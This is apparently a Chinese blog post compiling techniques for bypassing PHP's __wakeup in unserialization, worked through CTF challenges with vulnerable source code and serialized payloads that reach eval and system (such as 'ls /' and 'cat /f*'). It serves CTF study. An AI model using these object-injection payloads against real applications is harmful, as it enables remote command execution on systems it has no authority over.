反序列化中_wakeup的绕过

文章目录


前言

反序列化中_wakeup扮演着非常重要的角色,ctf碰到很多的题目都有涉及到_wakeup绕过,写下这篇博客来总结下大部分绕过方法,其中会有例题具体演示。

绕过方法

变量引用

两个变量同时指向同一个内存地址

例题:[UUCTF 2022 新生赛]ez_unser

源代码

复制代码
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

分析一下,有eval函数可以命令执行,但是__wakeup()会让a的值为空。

同时正则匹配不让我们修改属性个数绕过__wakeup(),这就是个难题

可利用点为$this->b=$this->c;,所以我们可以引用赋值绕过__wakeup()

payload

复制代码
<?php
class test{
    public $a;
    public $b;
    public $c;  
}
$t=new test();
$t->c="system('ls /');";
$t->b=&$t->a;
echo serialize($t);
?>

注:$t->b=&$t->a;意味着它们引用相同的内存地址,它们指向相同的值

属性个数不匹配(cve-2016-7124)

影响范围:

  • PHP5 < 5.6.25

  • PHP7 < 7.0.10

正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

例题:攻防世界 unserialize3

源代码

复制代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

分析一下,如果我们反序列化的话就会调用__wakeup()

然后就触发exit('bad requests');,我们只需要属性个数加一即可绕过

payload

复制代码
<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a=new xctf();
echo serialize($a);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改成下面
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
?>

C绕过

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会被自动调用。

常规绕过

复制代码
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
变成下面
C:4:"User":2:{}

C进阶绕过

例题:愚人杯3rd [easy_php]

复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        system($this->ctfshow);
    }
}
$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
?>

分析一下,核心是绕过_wakeup

复制代码
<?php
class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

} 
$a=new ctfshow();
echo serialize($a);
//O:7:"ctfshow":0:{}

我们直接改成C试试,发现根本没有命令执行的步骤

payload

复制代码
 <?php
     
class ctfshow{
	public $ctfshow="cat /f*";
}
$a = new ArrayObject;
$a -> a = new ctfshow;
echo serialize($a);
?>

然后再编码一下,就可以得到flag

fast-destruct

本质上就是利用GC回收机制。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

复制代码
//正常payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";}
//删除末尾花括号payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";}

其余GC回收机制

属性值的长度不匹配

具体形式

复制代码
//正常payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"1";}
//外部类属性值长度异常payload:
//先外类__destruct()后内类__wakeup()
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:2:"1";}
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"12";}
相关推荐
悟道子HD13 小时前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
dog25015 小时前
细看高维空间中距离度量失效
开发语言·php
汤愈韬15 小时前
网络安全之网络基础知识_2
网络协议·安全·web安全
二等饼干~za89866816 小时前
源码可控:云罗 GEO 源头工厂,开源搭建 + 二次开发全链路解决方案
服务器·开发语言·开源·php·音视频·ai-native
zhanghongbin0116 小时前
本地持久化:网络故障数据保护
服务器·网络·php
软件开发技术16 小时前
最新版310版本绿豆UI9+后台源码+TV版APK+手机版APK
php
zjeweler16 小时前
网安护网面试-2-国誉护网面试
web安全·网络安全·面试·职场和发展·护网行动·护网面试
liliangcsdn17 小时前
sentence-transformer如何离线加载和使用模型
开发语言·前端·php
AI应用实战 | RE17 小时前
011、向量数据库入门:Embeddings原理与ChromaDB实战
开发语言·数据库·langchain·php
xian_wwq18 小时前
【学习笔记】GB/T 20986-2023 详解,10 类网络安全事件分类
笔记·学习·web安全